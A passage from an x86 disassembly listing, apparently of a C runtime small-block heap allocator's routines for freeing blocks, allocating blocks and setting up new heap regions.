mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41C0B1
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41C0B1: ; CODE XREF: sub_41BF40+9Bj
; sub_41BF40:loc_41C044j ...
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_38]
mov edx, [ecx+4]
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov [edx+8], ecx
mov edx, [ebp+var_30]
add edx, [ebp+var_14]
mov [ebp+var_30], edx
loc_41C0D8: ; CODE XREF: sub_41BF40+70j
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_41C0F1
mov [ebp+var_28], 3Fh
loc_41C0F1: ; CODE XREF: sub_41BF40+1A8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz loc_41C255
mov edx, [ebp+var_1C]
sub edx, [ebp+var_C]
mov [ebp+var_34], edx
mov eax, [ebp+var_C]
sar eax, 4
sub eax, 1
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 3Fh
jbe short loc_41C121
mov [ebp+var_2C], 3Fh
loc_41C121: ; CODE XREF: sub_41BF40+1D8j
mov ecx, [ebp+var_30]
add ecx, [ebp+var_C]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
sar edx, 4
sub edx, 1
mov [ebp+var_28], edx
cmp [ebp+var_28], 3Fh
jbe short loc_41C143
mov [ebp+var_28], 3Fh
loc_41C143: ; CODE XREF: sub_41BF40+1FAj
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz loc_41C24F
mov ecx, [ebp+var_34]
mov edx, [ebp+var_34]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41C231
cmp [ebp+var_2C], 20h
jnb short loc_41C1C6
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41C1C4
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41C1C4: ; CODE XREF: sub_41BF40+26Aj
jmp short loc_41C231
; ---------------------------------------------------------------------------
loc_41C1C6: ; CODE XREF: sub_41BF40+225j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41C231
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41C231: ; CODE XREF: sub_41BF40+21Bj
; sub_41BF40:loc_41C1C4j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_41C24F: ; CODE XREF: sub_41BF40+209j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_41C255: ; CODE XREF: sub_41BF40+1B9j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_41C26B
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_41C37B
loc_41C26B: ; CODE XREF: sub_41BF40+31Dj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41C37B
cmp [ebp+var_28], 20h
jnb short loc_41C314
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41C2F2
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41C2F2: ; CODE XREF: sub_41BF40+39Aj
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_41C37B
; ---------------------------------------------------------------------------
loc_41C314: ; CODE XREF: sub_41BF40+377j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41C352
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41C352: ; CODE XREF: sub_41BF40+3F5j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_41C37B: ; CODE XREF: sub_41BF40+325j
; sub_41BF40+36Dj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_41C509
cmp dword_4DB794, 0
jz loc_41C4F8
mov eax, dword_4DB78C
shl eax, 0Fh
mov ecx, dword_4DB794
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
nop
call near ptr 2890603h
mov edx, 80000000h
mov ecx, dword_4DB78C
shr edx, cl
mov eax, dword_4DB794
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4DB794
mov [edx+8], ecx
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov edx, dword_4DB78C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4DB794
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4DB794
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41C456
mov edx, dword_4DB794
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4DB794
mov [ecx+4], eax
loc_41C456: ; CODE XREF: sub_41BF40+500j
mov edx, dword_4DB794
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_41C4F8
push 8000h
push 0
mov eax, dword_4DB794
mov ecx, [eax+0Ch]
push ecx
nop
call near ptr 2890603h
mov edx, dword_4DB794
mov eax, [edx+10h]
push eax
push 0
mov ecx, dword_4DB7A0
push ecx
call near ptr 28820CAh
nop
mov edx, dword_4DB798
imul edx, 14h
mov eax, dword_4DB79C
add eax, edx
mov ecx, dword_4DB794
add ecx, 14h
sub eax, ecx
push eax
mov edx, dword_4DB794
add edx, 14h
push edx
mov eax, dword_4DB794
push eax
call sub_4197C0
add esp, 0Ch
mov ecx, dword_4DB798
sub ecx, 1
mov dword_4DB798, ecx
mov edx, [ebp+arg_0]
cmp edx, dword_4DB794
jbe short loc_41C4EC
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_41C4EC: ; CODE XREF: sub_41BF40+5A1j
mov ecx, dword_4DB79C
mov dword_4DB790, ecx
loc_41C4F8: ; CODE XREF: sub_41BF40+46Fj
; sub_41BF40+520j
mov edx, [ebp+arg_0]
mov dword_4DB794, edx
mov eax, [ebp+var_4]
mov dword_4DB78C, eax
loc_41C509: ; CODE XREF: sub_41BF40+462j
mov esp, ebp
pop ebp
retn
sub_41BF40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C510 proc near ; CODE XREF: sub_41B8E0+1Dp
; sub_41BA10+99p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, dword_4DB798
imul eax, 14h
mov ecx, dword_4DB79C
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 20h
jge short loc_41C55C
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_41C571
; ---------------------------------------------------------------------------
loc_41C55C: ; CODE XREF: sub_41C510+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_41C571: ; CODE XREF: sub_41C510+4Aj
mov ecx, dword_4DB790
mov [ebp+var_18], ecx
loc_41C57A: ; CODE XREF: sub_41C510+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41C5A6
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_41C59B
jmp short loc_41C5A6
; ---------------------------------------------------------------------------
loc_41C59B: ; CODE XREF: sub_41C510+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41C57A
; ---------------------------------------------------------------------------
loc_41C5A6: ; CODE XREF: sub_41C510+70j
; sub_41C510+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_41C68D
mov eax, dword_4DB79C
mov [ebp+var_18], eax
loc_41C5BA: ; CODE XREF: sub_41C510+D7j
mov ecx, [ebp+var_18]
cmp ecx, dword_4DB790
jnb short loc_41C5E9
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_41C5DE
jmp short loc_41C5E9
; ---------------------------------------------------------------------------
loc_41C5DE: ; CODE XREF: sub_41C510+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41C5BA
; ---------------------------------------------------------------------------
loc_41C5E9: ; CODE XREF: sub_41C510+B3j
; sub_41C510+CCj
mov ecx, [ebp+var_18]
cmp ecx, dword_4DB790
jnz loc_41C68D
loc_41C5F8: ; CODE XREF: sub_41C510+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41C616
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_41C60B
jmp short loc_41C616
; ---------------------------------------------------------------------------
loc_41C60B: ; CODE XREF: sub_41C510+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C616: ; CODE XREF: sub_41C510+EEj
; sub_41C510+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_41C667
mov eax, dword_4DB79C
mov [ebp+var_18], eax
loc_41C626: ; CODE XREF: sub_41C510+135j
mov ecx, [ebp+var_18]
cmp ecx, dword_4DB790
jnb short loc_41C647
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_41C63C
jmp short loc_41C647
; ---------------------------------------------------------------------------
loc_41C63C: ; CODE XREF: sub_41C510+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41C626
; ---------------------------------------------------------------------------
loc_41C647: ; CODE XREF: sub_41C510+11Fj
; sub_41C510+12Aj
mov ecx, [ebp+var_18]
cmp ecx, dword_4DB790
jnz short loc_41C667
call sub_41CA50
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_41C667
xor eax, eax
jmp loc_41CA41
; ---------------------------------------------------------------------------
loc_41C667: ; CODE XREF: sub_41C510+10Cj
; sub_41C510+140j ...
mov edx, [ebp+var_18]
push edx
call sub_41CB60
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_41C68D
xor eax, eax
jmp loc_41CA41
; ---------------------------------------------------------------------------
loc_41C68D: ; CODE XREF: sub_41C510+9Cj
; sub_41C510+E2j ...
mov edx, [ebp+var_18]
mov dword_4DB790, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_41C6D0
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_41C705
loc_41C6D0: ; CODE XREF: sub_41C510+19Bj
mov [ebp+var_30], 0
loc_41C6D7: ; CODE XREF: sub_41C510+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_41C705
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_41C6D7
; ---------------------------------------------------------------------------
loc_41C705: ; CODE XREF: sub_41C510+1BEj
; sub_41C510+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_41C752
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_41C752: ; CODE XREF: sub_41C510+226j
; sub_41C510+259j
cmp [ebp+var_1C], 0
jl short loc_41C76B
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_41C752
; ---------------------------------------------------------------------------
loc_41C76B: ; CODE XREF: sub_41C510+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_41C79C
mov [ebp+var_14], 3Fh
loc_41C79C: ; CODE XREF: sub_41C510+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_41C9C0
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41C88A
cmp [ebp+var_20], 20h
jge short loc_41C81F
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41C81D
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41C81D: ; CODE XREF: sub_41C510+2F3j
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81F: ; CODE XREF: sub_41C510+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41C88A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_41C88A: ; CODE XREF: sub_41C510+2A4j
; sub_41C510:loc_41C81Dj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_41C9C0
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41C9C0
cmp [ebp+var_14], 20h
jge short loc_41C95A
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41C938
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41C938: ; CODE XREF: sub_41C510+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_41C9C0
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C510+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41C997
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_41C997: ; CODE XREF: sub_41C510+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_41C9C0: ; CODE XREF: sub_41C510+292j
; sub_41C510+39Cj ...
cmp [ebp+var_8], 0
jz short loc_41C9DA
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_41C9DA: ; CODE XREF: sub_41C510+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_41CA33
mov eax, [ebp+var_18]
cmp eax, dword_4DB794
jnz short loc_41CA33
mov ecx, [ebp+var_30]
cmp ecx, dword_4DB78C
jnz short loc_41CA33
mov dword_4DB794, 0
loc_41CA33: ; CODE XREF: sub_41C510+501j
; sub_41C510+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_41CA41: ; CODE XREF: sub_41C510+152j
; sub_41C510+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_41C510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA50 proc near ; CODE XREF: sub_41C510+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB798
cmp eax, dword_4DB788
jnz short loc_41CAAB
mov ecx, dword_4DB788
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, dword_4DB79C
push edx
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 2880000h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41CA93
xor eax, eax
jmp loc_41CB5B
; ---------------------------------------------------------------------------
loc_41CA93: ; CODE XREF: sub_41CA50+3Aj
mov ecx, [ebp+var_4]
mov dword_4DB79C, ecx
mov edx, dword_4DB788
add edx, 10h
mov dword_4DB788, edx
loc_41CAAB: ; CODE XREF: sub_41CA50+Fj
mov eax, dword_4DB798
imul eax, 14h
mov ecx, dword_4DB79C
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, dword_4DB7A0
push edx
call near ptr 2870000h
nop
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_41CAE5
xor eax, eax
jmp short loc_41CB5B
; ---------------------------------------------------------------------------
loc_41CAE5: ; CODE XREF: sub_41CA50+8Fj
push 4
push 2000h
push 100000h
push 0
call near ptr 28907B6h
nop
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_41CB22
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4DB7A0
push edx
call near ptr 28820CAh
nop
xor eax, eax
jmp short loc_41CB5B
; ---------------------------------------------------------------------------
loc_41CB22: ; CODE XREF: sub_41CA50+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, dword_4DB798
add eax, 1
mov dword_4DB798, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_41CB5B: ; CODE XREF: sub_41CA50+3Ej
; sub_41CA50+93j ...
mov esp, ebp
pop ebp
retn
sub_41CA50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB60 proc near ; CODE XREF: sub_41C510+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_41CB7F: ; CODE XREF: sub_41CB60+36j
cmp [ebp+var_8], 0
jl short loc_41CB98
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_41CB7F
; ---------------------------------------------------------------------------
loc_41CB98: ; CODE XREF: sub_41CB60+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_41CBC0
; ---------------------------------------------------------------------------
loc_41CBB7: ; CODE XREF: sub_41CB60+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_41CBC0: ; CODE XREF: sub_41CB60+55j
cmp [ebp+var_20], 3Fh
jge short loc_41CBE6
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_41CBB7
; ---------------------------------------------------------------------------
loc_41CBE6: ; CODE XREF: sub_41CB60+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
nop
call near ptr 28907B6h
test eax, eax
jnz short loc_41CC19
or eax, 0FFFFFFFFh
jmp loc_41CD4A
; ---------------------------------------------------------------------------
